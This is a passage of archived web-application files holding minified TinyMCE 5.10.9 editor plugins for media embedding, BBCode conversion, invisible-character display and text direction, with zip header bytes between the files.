height="'+n.height+'"'+l+"></iframe>"):"application/x-shockwave-flash"===n.sourcemime?(u='<object data="'+n.source+'" width="'+n.width+'" height="'+n.height+'" type="application/x-shockwave-flash">',n.poster&&(u+='<img src="'+n.poster+'" width="'+n.width+'" height="'+n.height+'" />'),u+"</object>"):-1!==n.sourcemime.indexOf("audio")?(s=n,m?m(s):'<audio controls="controls" src="'+s.source+'">'+(s.altsource?'\n<source src="'+s.altsource+'"'+(s.altsourcemime?' type="'+s.altsourcemime+'"':"")+" />\n":"")+"</audio>"):"script"===n.type?'<script src="'+n.source+'"><\/script>':(c=n,d?d(c):'<video width="'+c.width+'" height="'+c.height+'"'+(c.poster?' poster="'+c.poster+'"':"")+' controls="controls">\n<source src="'+c.source+'"'+(c.sourcemime?' type="'+c.sourcemime+'"':"")+" />\n"+(c.altsource?'<source src="'+c.altsource+'"'+(c.altsourcemime?' type="'+c.altsourcemime+'"':"")+" />\n":"")+"</video>")}function A(e){return e.hasAttribute("data-mce-object")||e.hasAttribute("data-ephox-embed-iri")}function T(t){return function(e){return k(t,e)}}function C(e,t){var r,n,a,o,i,c=e.getParam("media_url_resolver");return c?(a=t,o=T(e),i=c,new ne(function(t,e){function r(e){return e.html&&(ae[a.source]=e),t({url:a.source,html:e.html||o(a)})}ae[a.source]?r(ae[a.source]):i({url:a.source},r,e)})):(n=T(e),ne.resolve({html:n(r=t),url:r.source}))}function D(e,t){var r,n,o,i,c,a=t?g(e,t).bind(function(e){return g(e,"meta")}).getOr({}):{},s=(o=e,i=a,c=t,function(e){function t(){return g(o,e)}function r(){return g(i,e)}function n(e){return g(e,"value").bind(function(e){return 0<e.length?W.some(e):W.none()})}var a={};return a[e]=(e===c?t().bind(function(e){return u(e)?n(e).orThunk(r):r().orThunk(function(){return W.from(e)})}):r().orThunk(function(){return t().bind(function(e){return u(e)?n(e):W.from(e)})})).getOr(""),a});return p(p(p(p(p({},s("source")),s("altsource")),s("poster")),s("embed")),(r=a,n={},g(e,"dimensions").each(function(e){h(["width","height"],function(t){g(r,t).orThunk(function(){return g(e,t)}).each(function(e){return n[t]=e})})}),n))}function P(e){var n=p(p({},e),{source:{value:g(e,"source").getOr("")},altsource:{value:g(e,"altsource").getOr("")},poster:{value:g(e,"poster").getOr("")}});return h(["width","height"],function(r){g(e,r).each(function(e){var t=n.dimensions||{};t[r]=e,n.dimensions=t})}),n}function $(r){return function(e){var t=e&&e.msg?"Media embed handler error: "+e.msg:"Media embed handler threw unknown error.";r.notificationManager.open({type:"error",text:t})}}function M(e,t){return y(v(e),t)}function F(a,o){return function(e){var t,r,n;i(e.url)&&0<e.url.trim().length&&(t=e.html,r=M(o,t),n=p(p({},r),{source:e.url,embed:t}),a.setData(P(n)))}}function z(e,t){var r=e.dom.select("*[data-mce-object]");e.insertContent(t),function(e,t){for(var r=e.dom.select("*[data-mce-object]"),n=0;n<t.length;n++)for(var a=r.length-1;0<=a;a--)t[n]===r[a]&&r.splice(a,1);e.selection.select(r[0])}(e,r),e.nodeChanged()}function N(m){var e,t,r,n=(r=A(t=(e=m).selection.getNode())?e.serializer.serialize(t,{selection:!0}):"",p({embed:r},y(v(e),r))),d=f(n),a=P(n),o={title:"General",name:"general",items:function(e){for(var t=[],r=0,n=e.length;r<n;++r){if(!l(e[r]))throw new Error("Arr.flatten item "+r+" was not an array, input: "+e);G.apply(t,e[r])}return t}([[{name:"source",type:"urlinput",filetype:"media",label:"Source"}],m.getParam("media_dimensions",!0)?[{type:"sizeinput",name:"dimensions",label:"Constrain proportions",constrain:!0}]:[]])},i=[];m.getParam("media_alt_source",!0)&&i.push({name:"altsource",type:"urlinput",filetype:"media",label:"Alternative source URL"}),m.getParam("media_poster",!0)&&i.push({name:"poster",type:"urlinput",filetype:"image",label:"Media poster (Image URL)"});var c=[o,{title:"Embed",items:[{type:"textarea",name:"embed",label:"Paste your embed code below:"}]}];0<i.length&&c.push({title:"Advanced",name:"advanced",items:i});var h=m.windowManager.open({title:"Insert/Edit Media",size:"normal",body:{type:"tabpanel",tabs:c},buttons:[{type:"cancel",name:"cancel",text:"Cancel"},{type:"submit",name:"save",text:"Save",primary:!0}],onSubmit:function(e){var t,r,n,a,o=D(e.getData());t=d.get(),n=m,(r=o).embed=S(r.embed,r),r.embed&&(t.source===r.source||(a=r.source,J(ae,a)))?z(n,r.embed):C(n,r).then(function(e){z(n,e.html)}).catch($(n)),e.close()},onChange:function(e,t){switch(t.name){case"source":u=d.get(),l=D(e.getData(),"source"),u.source!==l.source&&(F(h,m)({url:l.source,html:""}),C(m,l).then(F(h,m)).catch($(m)));break;case"embed":c=D((i=e).getData()),s=M(m,c.embed),i.setData(P(s));break;case"dimensions":case"altsource":case"poster":n=t.name,a=D((r=e).getData(),n),o=k(m,a),r.setData(P(p(p({},a),{embed:o})))}var r,n,a,o,i,c,s,u,l;d.set(D(e.getData()))},initialData:a})}function U(o,e){if(!1===o.getParam("media_filter_html",!0))return e;var i,c=Z();return V({validate:!1,allow_conditional_comments:!1,comment:function(e){i||c.comment(e)},cdata:function(e){i||c.cdata(e)},text:function(e,t){i||c.text(e,t)},start:function(e,t,r){if(i=!0,"script"!==e&&"noscript"!==e&&"svg"!==e){for(var n=t.length-1;0<=n;n--){var a=t[n].name;0===a.indexOf("on")&&(delete t.map[a],t.splice(n,1)),"style"===a&&(t[n].value=o.dom.serializeStyle(o.dom.parseStyle(t[n].value),e))}c.start(e,t,r),i=!1}},end:function(e){i||c.end(e)}},Y({})).parse(e),c.getContent()}function E(e,t,r,n){void 0===n&&(n=null);var a=e.attr(r);return s(a)?a:J(t,r)?null:n}function R(e,t,r){var n="img"===t.name||"video"===e.name,a="audio"===e.name?"30":"150",o=n?a:null;t.attr({width:E(e,r,"width",n?"300":null),height:E(e,r,"height",o)})}function L(e,t){var r=t.name,n=new oe("span",1);n.attr({contentEditable:"false",style:t.attr("style"),"data-mce-object":r,class:"mce-preview-object mce-object-"+r}),se(e,t,n);var a,o=e.dom.parseStyle(t.attr("style")),i=new oe(r,1);R(t,i,o),i.attr({src:t.attr("src"),style:t.attr("style"),class:t.attr("class")}),"iframe"===r?i.attr({allowfullscreen:t.attr("allowfullscreen"),frameborder:"0"}):(h(["controls","crossorigin","currentTime","loop","muted","poster","preload"],function(e){i.attr(e,t.attr(e))}),s(a=n.attr("data-mce-html"))&&function(e,t,r,n){for(var a=ce({forced_root_block:!1,validate:!1},e.schema).parse(n,{context:t});a.firstChild;)r.append(a.firstChild)}(e,r,i,unescape(a)));var c=new oe("span",1);return c.attr("class","mce-shim"),n.append(i),n.append(c),n}function I(e){for(;e=e.parent;)if(e.attr("data-ephox-embed-iri")||(t=e.attr("class"))&&/\btiny-pageembed\b/.test(t))return 1;var t}var B=function(r){function e(){return a}function t(e){return e(r)}var n=o(r),a={fold:function(e,t){return t(r)},isSome:m,isNone:c,getOr:n,getOrThunk:n,getOrDie:n,getOrNull:n,getOrUndefined:n,or:e,orThunk:e,map:function(e){return B(e(r))},each:function(e){e(r)},bind:t,exists:t,forall:t,filter:function(e){return e(r)?a:d},toArray:function(){return[r]},toString:function(){return"some("+r+")"}};return a},W={some:B,none:r,from:function(e){return null==e?d:B(e)}},G=Array.prototype.push,q=Object.keys,H=Object.hasOwnProperty,J=function(e,t){return H.call(e,t)},K=tinymce.util.Tools.resolve("tinymce.util.Tools"),Q=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),V=tinymce.util.Tools.resolve("tinymce.html.SaxParser"),X=Q.DOM,Y=tinymce.util.Tools.resolve("tinymce.html.Schema"),Z=tinymce.util.Tools.resolve("tinymce.html.Writer"),ee=Q.DOM,te=["source","altsource"],re=[{regex:/youtu\.be\/([\w\-_\?&=.]+)/i,type:"iframe",w:560,h:314,url:"www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/youtube\.com(.+)v=([^&]+)(&([a-z0-9&=\-_]+))?/i,type:"iframe",w:560,h:314,url:"www.youtube.com/embed/$2?$4",allowFullscreen:!0},{regex:/youtube.com\/embed\/([a-z0-9\?&=\-_]+)/i,type:"iframe",w:560,h:314,url:"www.youtube.com/embed/$1",allowFullscreen:!0},{regex:/vimeo\.com\/([0-9]+)/,type:"iframe",w:425,h:350,url:"player.vimeo.com/video/$1?title=0&byline=0&portrait=0&color=8dc7dc",allowFullscreen:!0},{regex:/vimeo\.com\/(.*)\/([0-9]+)/,type:"iframe",w:425,h:350,url:"player.vimeo.com/video/$2?title=0&amp;byline=0",allowFullscreen:!0},{regex:/maps\.google\.([a-z]{2,3})\/maps\/(.+)msid=(.+)/,type:"iframe",w:425,h:350,url:'maps.google.com/maps/ms?msid=$2&output=embed"',allowFullscreen:!1},{regex:/dailymotion\.com\/video\/([^_]+)/,type:"iframe",w:480,h:270,url:"www.dailymotion.com/embed/video/$1",allowFullscreen:!0},{regex:/dai\.ly\/([^_]+)/,type:"iframe",w:480,h:270,url:"www.dailymotion.com/embed/video/$1",allowFullscreen:!0}],ne=tinymce.util.Tools.resolve("tinymce.util.Promise"),ae={},oe=tinymce.util.Tools.resolve("tinymce.html.Node"),ie=tinymce.util.Tools.resolve("tinymce.Env"),ce=tinymce.util.Tools.resolve("tinymce.html.DomParser"),se=function(e,t,r){for(var n=t.attributes,a=n.length;a--;){var o=n[a].name,i=n[a].value;"width"!==o&&"height"!==o&&"style"!==o&&("data"!==o&&"src"!==o||(i=e.convertURL(i,o)),r.attr("data-mce-p-"+o,i))}var c=t.firstChild&&t.firstChild.value;c&&(r.attr("data-mce-html",escape(U(e,c))),r.firstChild=null)};n.add("media",function(e){var t,r,d,n,a;function o(){return r.execCommand("mceMedia")}return(t=e).addCommand("mceMedia",function(){N(t)}),(r=e).ui.registry.addToggleButton("media",{tooltip:"Insert/edit media",icon:"embed",onAction:o,onSetup:function(e){var t=r.selection;return e.setActive(A(t.getNode())),t.selectorChangedWithUnbind("img[data-mce-object],span[data-mce-object],div[data-ephox-embed-iri]",e.setActive).unbind}}),r.ui.registry.addMenuItem("media",{icon:"embed",text:"Media...",onAction:o}),e.on("ResolveName",function(e){var t;1===e.target.nodeType&&(t=e.target.getAttribute("data-mce-object"))&&(e.name=t)}),(d=e).on("preInit",function(){var t=d.schema.getSpecialElements();K.each("video audio iframe object".split(" "),function(e){t[e]=new RegExp("</"+e+"[^>]*>","gi")});var u,r=d.schema.getBoolAttrs();K.each("webkitallowfullscreen mozallowfullscreen allowfullscreen".split(" "),function(e){r[e]={}}),d.parser.addNodeFilter("iframe,video,audio,object,embed,script",(u=d,function(e){for(var t,r,n,a,o,i,c,s=e.length;s--;)(t=e[s]).parent&&(t.parent.attr("data-mce-object")||"script"===t.name&&!(r=b(v(u),t.attr("src")))||(r&&(r.width&&t.attr("width",r.width.toString()),r.height&&t.attr("height",r.height.toString())),("iframe"===(c=t.name)||"video"===c||"audio"===c)&&u.getParam("media_live_embeds",!0)&&ie.ceFalse?I(t)||t.replace(L(u,t)):I(t)||t.replace((n=u,i=void 0,o=(a=t).name,(i=new oe("img",1)).shortEnded=!0,se(n,a,i),R(a,i,{}),i.attr({style:a.attr("style"),src:ie.transparentSrc,"data-mce-object":o,class:"mce-object mce-object-"+o}),i))))})),d.serializer.addAttributeFilter("data-mce-object",function(e,t){for(var r,n,a,o,i,c,s,u,l=e.length;l--;)if((r=e[l]).parent){for(s=r.attr(t),n=new oe(s,1),"audio"!==s&&"script"!==s&&((u=r.attr("class"))&&-1!==u.indexOf("mce-preview-object")?n.attr({width:r.firstChild.attr("width"),height:r.firstChild.attr("height")}):n.attr({width:r.attr("width"),height:r.attr("height")})),n.attr({style:r.attr("style")}),a=(o=r.attributes).length;a--;){var m=o[a].name;0===m.indexOf("data-mce-p-")&&n.attr(m.substr(11),o[a].value)}"script"===s&&n.attr("type","text/javascript"),(i=r.attr("data-mce-html"))&&((c=new oe("#text",3)).raw=!0,c.value=U(d,unescape(i)),n.append(c)),r.replace(n)}})}),d.on("SetContent",function(){d.$("span.mce-preview-object").each(function(e,t){var r=d.$(t);0===r.find("span.mce-shim").length&&r.append('<span class="mce-shim"></span>')})}),(n=e).on("click keyup touchend",function(){var e=n.selection.getNode();e&&n.dom.hasClass(e,"mce-preview-object")&&n.dom.getAttrib(e,"data-mce-selected")&&e.setAttribute("data-mce-selected","2")}),n.on("ObjectSelected",function(e){"script"===e.target.getAttribute("data-mce-object")&&e.preventDefault()}),n.on("ObjectResized",function(e){var t,r=e.target;!r.getAttribute("data-mce-object")||(t=r.getAttribute("data-mce-html"))&&(t=unescape(t),r.setAttribute("data-mce-html",escape(S(t,{width:String(e.width),height:String(e.height)}))))}),a=e,{showDialog:function(){N(a)}}})}();PK
h�\N䃐/program/js/tinymce/plugins/bbcode/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function i(t){function o(o,e){t=t.replace(o,e)}return t=n.trim(t),o(/\n/gi,"<br />"),o(/\[b\]/gi,"<strong>"),o(/\[\/b\]/gi,"</strong>"),o(/\[i\]/gi,"<em>"),o(/\[\/i\]/gi,"</em>"),o(/\[u\]/gi,"<u>"),o(/\[\/u\]/gi,"</u>"),o(/\[url=([^\]]+)\](.*?)\[\/url\]/gi,'<a href="$1">$2</a>'),o(/\[url\](.*?)\[\/url\]/gi,'<a href="$1">$1</a>'),o(/\[img\](.*?)\[\/img\]/gi,'<img src="$1" />'),o(/\[color=(.*?)\](.*?)\[\/color\]/gi,'<font color="$1">$2</font>'),o(/\[code\](.*?)\[\/code\]/gi,'<span class="codeStyle">$1</span>&nbsp;'),o(/\[quote.*?\](.*?)\[\/quote\]/gi,'<span class="quoteStyle">$1</span>&nbsp;'),t}var o=tinymce.util.Tools.resolve("tinymce.PluginManager"),n=tinymce.util.Tools.resolve("tinymce.util.Tools");o.add("bbcode",function(o){o.on("BeforeSetContent",function(o){o.content=i(o.content)}),o.on("PostProcess",function(o){function e(o,e){t=t.replace(o,e)}var t;o.set&&(o.content=i(o.content)),o.get&&(o.content=(t=o.content,t=n.trim(t),e(/<a.*?href=\"(.*?)\".*?>(.*?)<\/a>/gi,"[url=$1]$2[/url]"),e(/<font.*?color=\"(.*?)\".*?class=\"codeStyle\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"),e(/<font.*?color=\"(.*?)\".*?class=\"quoteStyle\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"),e(/<font.*?class=\"codeStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[code][color=$1]$2[/color][/code]"),e(/<font.*?class=\"quoteStyle\".*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[quote][color=$1]$2[/color][/quote]"),e(/<span style=\"color: ?(.*?);\">(.*?)<\/span>/gi,"[color=$1]$2[/color]"),e(/<font.*?color=\"(.*?)\".*?>(.*?)<\/font>/gi,"[color=$1]$2[/color]"),e(/<span style=\"font-size:(.*?);\">(.*?)<\/span>/gi,"[size=$1]$2[/size]"),e(/<font>(.*?)<\/font>/gi,"$1"),e(/<img.*?src=\"(.*?)\".*?\/>/gi,"[img]$1[/img]"),e(/<span class=\"codeStyle\">(.*?)<\/span>/gi,"[code]$1[/code]"),e(/<span class=\"quoteStyle\">(.*?)<\/span>/gi,"[quote]$1[/quote]"),e(/<strong class=\"codeStyle\">(.*?)<\/strong>/gi,"[code][b]$1[/b][/code]"),e(/<strong class=\"quoteStyle\">(.*?)<\/strong>/gi,"[quote][b]$1[/b][/quote]"),e(/<em class=\"codeStyle\">(.*?)<\/em>/gi,"[code][i]$1[/i][/code]"),e(/<em class=\"quoteStyle\">(.*?)<\/em>/gi,"[quote][i]$1[/i][/quote]"),e(/<u class=\"codeStyle\">(.*?)<\/u>/gi,"[code][u]$1[/u][/code]"),e(/<u class=\"quoteStyle\">(.*?)<\/u>/gi,"[quote][u]$1[/u][/quote]"),e(/<\/(strong|b)>/gi,"[/b]"),e(/<(strong|b)>/gi,"[b]"),e(/<\/(em|i)>/gi,"[/i]"),e(/<(em|i)>/gi,"[i]"),e(/<\/u>/gi,"[/u]"),e(/<span style=\"text-decoration: ?underline;\">(.*?)<\/span>/gi,"[u]$1[/u]"),e(/<u>/gi,"[u]"),e(/<blockquote[^>]*>/gi,"[quote]"),e(/<\/blockquote>/gi,"[/quote]"),e(/<br \/>/gi,"\n"),e(/<br\/>/gi,"\n"),e(/<br>/gi,"\n"),e(/<p>/gi,""),e(/<\/p>/gi,"\n"),e(/&nbsp;|\u00a0/gi," "),e(/&quot;/gi,'"'),e(/&lt;/gi,"<"),e(/&gt;/gi,">"),e(/&amp;/gi,"&"),t))})})}();PK
h�\l[���4program/js/tinymce/plugins/visualchars/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function n(t){return function(n){return typeof n===t}}function i(n){return function(){return n}}function t(n){return n}function e(){return l}var o,r=tinymce.util.Tools.resolve("tinymce.PluginManager"),u=function(n){return e=typeof(t=n),(null===t?"null":"object"==e&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==e&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":e)===o;var t,e},c=n("boolean"),a=n("number"),s=i(!(o="string")),f=i(!0),l={fold:function(n,t){return n()},isSome:s,isNone:f,getOr:t,getOrThunk:d,getOrDie:function(n){throw new Error(n||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:t,orThunk:d,map:e,each:function(){},bind:e,exists:s,forall:f,filter:function(){return l},toArray:function(){return[]},toString:i("none()")};function d(n){return n()}function m(n,t){for(var e=0,o=n.length;e<o;e++)t(n[e],e)}function v(n,t){for(var e=h(n),o=0,r=e.length;o<r;o++){var i=e[o];t(n[i],i)}}var g=function(e){function n(){return r}function t(n){return n(e)}var o=i(e),r={fold:function(n,t){return t(e)},isSome:f,isNone:s,getOr:o,getOrThunk:o,getOrDie:o,getOrNull:o,getOrUndefined:o,or:n,orThunk:n,map:function(n){return g(n(e))},each:function(n){n(e)},bind:t,exists:t,forall:t,filter:function(n){return n(e)?r:l},toArray:function(){return[e]},toString:function(){return"some("+e+")"}};return r},h=Object.keys;function p(n){return n.dom.nodeValue}function y(n,t,e){!function(n,t,e){if(!(u(e)||c(e)||a(e)))throw console.error("Invalid call to Attribute.set. Key ",t,":: Value ",e,":: Element ",n),new Error("Attribute value was not simple");n.setAttribute(t,e+"")}(n.dom,t,e)}function b(n,t){n.dom.removeAttribute(t)}function w(n,t){var e,o=null===(e=n.dom.getAttribute(t))?void 0:e;return void 0===o||""===o?[]:o.split(" ")}function T(n){return void 0!==n.dom.classList}function k(n,t){return i=t,0<(o=function(n){for(var t=[],e=0,o=n.length;e<o;e++){var r=n[e];r!==i&&t.push(r)}return t}(w(e=n,"class"))).length?y(e,"class",o.join(" ")):b(e,"class"),0;var e,i,o}function N(n,t){var e="";return v(n,function(n,t){e+=t}),new RegExp("["+e+"]",t?"g":"")}function A(n){return'<span data-mce-bogus="1" class="mce-'+H[n]+'">'+n+"</span>"}function O(n){var t=p(n);return j(n)&&void 0!==t&&_.test(t)}function C(n){return"span"===n.nodeName.toLowerCase()&&n.classList.contains("mce-nbsp-wrap")}function S(f,n){m(K(M.fromDom(n),O),function(n){var t,e,o,r,i,u=n.dom.parentNode;if(C(u))t=M.fromDom(u),e=U,T(t)?t.dom.classList.add(e):(r=e,i=w(o=t,"class").concat([r]),y(o,"class",i.join(" ")));else{for(var c,a=f.dom.encode(p(n)).replace(F,A),s=f.dom.create("div",null,a);c=s.lastChild;)f.dom.insertAfter(c,n.dom);f.dom.remove(n.dom)}})}function D(r,n){m(r.dom.select(I,n),function(n){var t,e,o;C(n)?(t=M.fromDom(n),e=U,T(t)?t.dom.classList.remove(e):k(t,e),0===(T(o=t)?o.dom.classList:w(o,"class")).length&&b(o,"class")):r.dom.remove(n,!0)})}function E(n){var t=n.getBody(),e=n.selection.getBookmark(),o=function(n,t){for(;n.parentNode;){if(n.parentNode===t)return n;n=n.parentNode}}(n.selection.getNode(),t);D(n,o=void 0!==o?o:t),S(n,o),n.selection.moveToBookmark(e)}function L(n,t){var e=n,o=t.get();e.fire("VisualChars",{state:o});var r=n.getBody();(!0===t.get()?S:D)(n,r)}function x(n,t){n.addCommand("mceVisualChars",function(){!function(n,t){t.set(!t.get());var e=n.selection.getBookmark();L(n,t),n.selection.moveToBookmark(e)}(n,t)})}function B(e,o){return function(t){function n(n){return t.setActive(n.state)}return t.setActive(o.get()),e.on("VisualChars",n),function(){return e.off("VisualChars",n)}}}"undefined"!=typeof window||Function("return this;")();function P(n){if(null==n)throw new Error("Node cannot be null or undefined");return{dom:n}}var V,j=function(n){return 3===n.dom.nodeType},M={fromHtml:function(n,t){var e=(t||document).createElement("div");if(e.innerHTML=n,!e.hasChildNodes()||1<e.childNodes.length)throw console.error("HTML does not have a single root node",n),new Error("HTML must have a single root node");return P(e.childNodes[0])},fromTag:function(n,t){var e=(t||document).createElement(n);return P(e)},fromText:function(n,t){var e=(t||document).createTextNode(n);return P(e)},fromDom:P,fromPoint:function(n,t,e){return(null==(o=n.dom.elementFromPoint(t,e))?l:g(o)).map(P);var o}},H={"\xa0":"nbsp","\xad":"shy"},_=N(H),F=N(H,!0),I=(V="",v(H,function(n){V&&(V+=","),V+="span.mce-"+n}),V),U="mce-nbsp",K=function(n,t){var e=[];return m(function(n,t){for(var e=n.length,o=new Array(e),r=0;r<e;r++){var i=n[r];o[r]=t(i,r)}return o}(n.dom.childNodes,M.fromDom),function(n){e=(e=t(n)?e.concat([n]):e).concat(K(n,t))}),e},R=tinymce.util.Tools.resolve("tinymce.util.Delay");r.add("visualchars",function(n){var t,e,o,r,i,u,c,a,s,f,l=(t=n.getParam("visualchars_default_state",!1),e=t,{get:function(){return e},set:function(n){e=n}});function d(){return o.execCommand("mceVisualChars")}return x(n,l),(o=n).ui.registry.addToggleButton("visualchars",{tooltip:"Show invisible characters",icon:"visualchars",onAction:d,onSetup:B(o,r=l)}),o.ui.registry.addToggleMenuItem("visualchars",{text:"Show invisible characters",icon:"visualchars",onAction:d,onSetup:B(o,r)}),i=n,u=l,c=R.debounce(function(){E(i)},300),!1!==i.getParam("forced_root_block")&&i.on("keydown",function(n){!0===u.get()&&(13===n.keyCode?E(i):c())}),i.on("remove",c.stop),s=l,(a=n).on("init",function(){L(a,s)}),f=l,{isEnabled:function(){return f.get()}}})}();PK
h�\�7program/js/tinymce/plugins/directionality/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function n(t){return function(n){return typeof n===t}}function u(n){return function(){return n}}function t(n){return n}function r(){return d}var o,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),i=function(n){return r=typeof(t=n),(null===t?"null":"object"==r&&(Array.prototype.isPrototypeOf(t)||t.constructor&&"Array"===t.constructor.name)?"array":"object"==r&&(String.prototype.isPrototypeOf(t)||t.constructor&&"String"===t.constructor.name)?"string":r)===o;var t,r},c=n("boolean"),f=n("function"),l=n("number"),a=u(!(o="string")),m=u(!0),d={fold:function(n,t){return n()},isSome:a,isNone:m,getOr:t,getOrThunk:s,getOrDie:function(n){throw new Error(n||"error: getOrDie called on none.")},getOrNull:u(null),getOrUndefined:u(void 0),or:t,orThunk:s,map:r,each:function(){},bind:r,exists:a,forall:m,filter:function(){return d},toArray:function(){return[]},toString:u("none()")};function s(n){return n()}function g(n,t){for(var r=0,o=n.length;r<o;r++)t(n[r],r)}function h(n,t){var r=n.dom;if(1!==r.nodeType)return!1;var o=r;if(void 0!==o.matches)return o.matches(t);if(void 0!==o.msMatchesSelector)return o.msMatchesSelector(t);if(void 0!==o.webkitMatchesSelector)return o.webkitMatchesSelector(t);if(void 0!==o.mozMatchesSelector)return o.mozMatchesSelector(t);throw new Error("Browser lacks native selectors")}function v(n){if(null==n)throw new Error("Node cannot be null or undefined");return{dom:n}}var p=function(r){function n(){return e}function t(n){return n(r)}var o=u(r),e={fold:function(n,t){return t(r)},isSome:m,isNone:a,getOr:o,getOrThunk:o,getOrDie:o,getOrNull:o,getOrUndefined:o,or:n,orThunk:n,map:function(n){return p(n(r))},each:function(n){n(r)},bind:t,exists:t,forall:t,filter:function(n){return n(r)?e:d},toArray:function(){return[r]},toString:function(){return"some("+r+")"}};return e},y={some:p,none:r,from:function(n){return null==n?d:p(n)}},w={fromHtml:function(n,t){var r=(t||document).createElement("div");if(r.innerHTML=n,!r.hasChildNodes()||1<r.childNodes.length)throw console.error("HTML does not have a single root node",n),new Error("HTML must have a single root node");return v(r.childNodes[0])},fromTag:function(n,t){var r=(t||document).createElement(n);return v(r)},fromText:function(n,t){var r=(t||document).createTextNode(n);return v(r)},fromDom:v,fromPoint:function(n,t,r){return y.from(n.dom.elementFromPoint(t,r)).map(v)}};function D(t){return function(n){return n.dom.nodeType===t}}function N(n,t,r){!function(n,t,r){if(!(i(r)||c(r)||l(r)))throw console.error("Invalid call to Attribute.set. Key ",t,":: Value ",r,":: Element ",n),new Error("Attribute value was not simple");n.setAttribute(t,r+"")}(n.dom,t,r)}function T(n,t){n.dom.removeAttribute(t)}function S(n){return w.fromDom(n.dom.host)}function b(e,u,n){return function(n){for(var t=e.dom,r=f(n)?n:a;t.parentNode;){var t=t.parentNode,o=w.fromDom(t);if(h(o,u))return y.some(o);if(r(o))break}return y.none()}(n)}function O(n){return"rtl"===(r="direction",o=(t=n).dom,""!==(e=window.getComputedStyle(o).getPropertyValue(r))||B(t)?e:H(o,r))?"rtl":"ltr";var t,r,o,e}function A(n,t){return r=function(n){return h(n,t)},function(n,t){for(var r=[],o=0,e=n.length;o<e;o++){var u=n[o];t(u,o)&&r.push(u)}return r}(function(n,t){for(var r=n.length,o=new Array(r),e=0;e<r;e++){var u=n[e];o[e]=t(u,e)}return o}(n.dom.childNodes,w.fromDom),r);var r}function C(n,u){var t=n.selection.getSelectedBlocks();0<t.length&&(g(t,function(n){var t,r=w.fromDom(n),o=k(r),e=(t=r,(o?b(t,"ol,ul"):y.some(t)).getOr(t));y.from(e.dom.parentNode).map(w.fromDom).filter(E).each(function(n){O(n)!==u?N(e,"dir",u):O(e)!==u&&T(e,"dir"),o&&g(A(e,"li[dir]"),function(n){return T(n,"dir"),0})})}),n.nodeChanged())}function M(t,o){return function(r){function n(n){var t=w.fromDom(n.element);r.setActive(O(t)===o)}return t.on("NodeChange",n),function(){return t.off("NodeChange",n)}}}"undefined"!=typeof window||Function("return this;")();function k(n){return E(n)&&"li"===n.dom.nodeName.toLowerCase()}var E=D(1),L=D(3),P=D(9),R=D(11),x=f(Element.prototype.attachShadow)&&f(Node.prototype.getRootNode)?function(n){return w.fromDom(n.dom.getRootNode())}:function(n){return P(n)?n:w.fromDom(n.dom.ownerDocument)},B=function(n){var t=L(n)?n.dom.parentNode:n.dom;if(null==t||null===t.ownerDocument)return!1;var r,o,e,u,i,c=t.ownerDocument;return e=w.fromDom(t),i=x(e),(R(u=i)&&null!=u.dom.host?y.some(i):y.none()).fold(function(){return c.body.contains(t)},(r=B,o=S,function(n){return r(o(n))}))},H=function(n,t){return void 0!==n.style&&f(n.style.getPropertyValue)?n.style.getPropertyValue(t):""};e.add("directionality",function(n){var t,r;(t=n).addCommand("mceDirectionLTR",function(){C(t,"ltr")}),t.addCommand("mceDirectionRTL",function(){C(t,"rtl")}),(r=n).ui.registry.addToggleButton("ltr",{tooltip:"Left to right",icon:"ltr",onAction:function(){return r.execCommand("mceDirectionLTR")},onSetup:M(r,"ltr")}),r.ui.registry.addToggleButton("rtl",{tooltip:"Right to left",icon:"rtl",onAction:function(){return r.execCommand("mceDirectionRTL")},onSetup:M(r,"rtl")})})}();PK
h�\_��>�
�
0program/js/tinymce/plugins/advlist/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function f(t,e,n){t.execCommand("UL"===e?"InsertUnorderedList":"InsertOrderedList",!1,!1===n?null:{"list-style-type":n})}function i(t){return function(){return t}}function t(t){return t}function e(){return s}var n=tinymce.util.Tools.resolve("tinymce.PluginManager"),g=tinymce.util.Tools.resolve("tinymce.util.Tools"),u=i(!1),l=i(!0),s={fold:function(t,e){return t()},isSome:u,isNone:l,getOr:t,getOrThunk:r,getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:t,orThunk:r,map:e,each:function(){},bind:e,exists:u,forall:l,filter:function(){return s},toArray:function(){return[]},toString:i("none()")};function r(t){return t()}function d(t){return t&&/^(TH|TD)$/.test(t.nodeName)}function m(c,a){return function(s){function t(t){var e,n,r,o,i,u,l;s.setActive((e=c,r=a,i=-1!==(o=function(t,e){for(var n=0;n<t.length;n++)if(e(t[n]))return n;return-1}((n=t).parents,d))?n.parents.slice(0,o):n.parents,0<(u=g.grep(i,(l=e,function(t){return t&&/^(OL|UL|DL)$/.test(t.nodeName)&&(e=t,l.$.contains(l.getBody(),e));var 